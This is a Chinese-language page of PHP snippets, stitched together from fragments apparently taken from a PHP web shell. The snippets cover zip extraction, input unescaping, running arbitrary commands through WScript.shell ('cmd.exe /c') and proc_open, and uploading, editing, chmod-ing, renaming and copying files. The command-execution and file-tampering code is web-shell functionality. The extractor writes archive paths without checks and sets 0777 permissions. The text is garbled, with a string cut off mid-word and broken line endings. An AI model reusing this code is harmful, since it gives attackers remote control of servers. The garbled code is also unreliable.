php 文件在线解压代码

public function ExtractFile($header,$to,$zip) {
  $header = $this->readfileheader($zip);

  if (substr($to,-1)!="/") $to.="/";
  if ($to=='./') $to = '';
  $pth = explode("/",$to.$header['filename']);
  $mydir = '';
  for($i=0;$i<count($pth)-1;$i++) {
   if (!$pth[$i]) continue;
   $mydir .= $pth[$i]."/";
   if ((!is_dir($mydir) && @mkdir($mydir,0777)) || (($mydir==$to.$header['filename'] || ($mydir==$to && $this->total_folders==0)) && is_dir($mydir)) ) {
    @chmod($mydir,0777);
    $this->total_folders ++;
    echo 'Extract : ',$mydir,'<br>';
   }
  }

  if (strrchr($header['filename'],'/')=='/') return;
  if (!($header['external']==0x41FF0010)&&!($header['external']==16)) {
   if ($header['compression']==0) {
    $fp = @fopen($to.$header['filename'], 'wb');
    if (!$fp) return(-1);
    $size = $header['compressed_size'];
    while ($size != 0) {
     $read_size = ($size < 2048 ? $size : 2048);
     $buffer = fread($zip, $read_size);
     $binary_data = pack('a'.$read_size, $buffer);
     @fwrite($fp, $binary_data, $read_size);
     $size -= $read_size;
    }
    fclose($fp);
    touch($to.$header['filename'], $header['mtime']);
   } else {
    $fp = @fopen($to.$header['filename'].'.gz','wb');
    if (!$fp) return(-1);
    $binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($header['compression']),
    Chr(0x00), time(), Chr(0x00), Chr(3));

    fwrite($fp, $binary_data, 10);
    $size = $header['compressed_size'];

    while ($size != 0) {
     $read_size = ($size < 1024 ? $size : 1024);
     $buffer = fread($zip, $read_size);
     $binary_data = pack('a'.$read_size, $buffer);
     @fwrite($fp, $binary_data, $read_size);
     $size -= $read_size;
    }

    $binary_data = pack('VV', $header['crc'], $header['size']);
    fwrite($fp, $binary_data,8); fclose($fp);

    $gzp = @gzopen($to.$header['filename'].'.gz','rb') or die("Cette archive est compress

php 批量过滤post,get敏感数据

if (get_magic_quotes_gpc()) {
    $_GET = stripslashes_array($_GET);
 $_POST = stripslashes_array($_POST);
}

function stripslashes_array(&$array) {
  while(list($key,$var) = each($array)) {
   if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {
    if (is_string($var)) {
     $array[$key] = stripslashes($var);
    }
    if (is_array($var))  {
     $array[$key] = stripslashes_array($var);
    }
   }
  }
  return $array;
 }

/php调用com 组件wscript.shell执行dos命令
  p('<hr width="100%" noshade /><pre>');
  if ($execfunc=='wscript' && IS_WIN && IS_COM) {
   $wsh = new COM('WScript.shell');
   $exec = $wsh->exec('cmd.exe /c '.$command);
   $stdout = $exec->StdOut();
   $stroutput = $stdout->ReadAll();
   echo $stroutput;
  } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
   $descriptorspec = array(
      0 => array('pipe', 'r'),
      1 => array('pipe', 'w'),
      2 => array('pipe', 'w')
   );
   $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
   if (is_resource($process)) {
    fwrite($pipes[0], $command."rn");
    fwrite($pipes[0], "exitrn");
    fclose($pipes[0]);
    while (!feof($pipes[1])) {
     echo fgets($pipes[1], 1024);
    }
    fclose($pipes[1]);
    while (!feof($pipes[2])) {
     echo fgets($pipes[2], 1024);
    }
    fclose($pipes[2]);
    proc_close($process);
   }

php编辑，上传，修改文件属性代码
  m('文件上传 '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? '成功' : '失败'));
 }

 // 编辑文件
 elseif ($editfilename && $filecontent) {
  $fp = @fopen($editfilename,'w');
  m('保存文件 '.(@fwrite($fp,$filecontent) ? '成功' : '失败'));
  @fclose($fp);
 }

 // 编辑文件属性
 elseif ($pfile && $newperm) {
  if (!file_exists($pfile)) {
   m('原始文件不存在');
  } else {
   $newperm = base_convert($newperm,8,10);
   m('文件编辑 '.(@chmod($pfile,$newperm) ? '成功' : '失败'));
  }
 }

php 重命名与复制文件
  $nname = $nowpath.$newfilename;
  if (file_exists($nname) || !file_exists($oldname)) {
   m($nname.' 目标文件已经存在或者原始文件不存在');
  } else {
   m(basename($oldname).' 重命名 '.basename($nname).(@rename($oldname,$nname) ? ' 成功' : '失败'));
  }
 }

 // 复制文件
 elseif ($sname && $tofile) {
  if (file_exists($tofile) || !file_exists($sname)) {
   m('目标文件已经存在或者原始文件不存在');
  } else {
   m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' 成功' : '失败'));
  }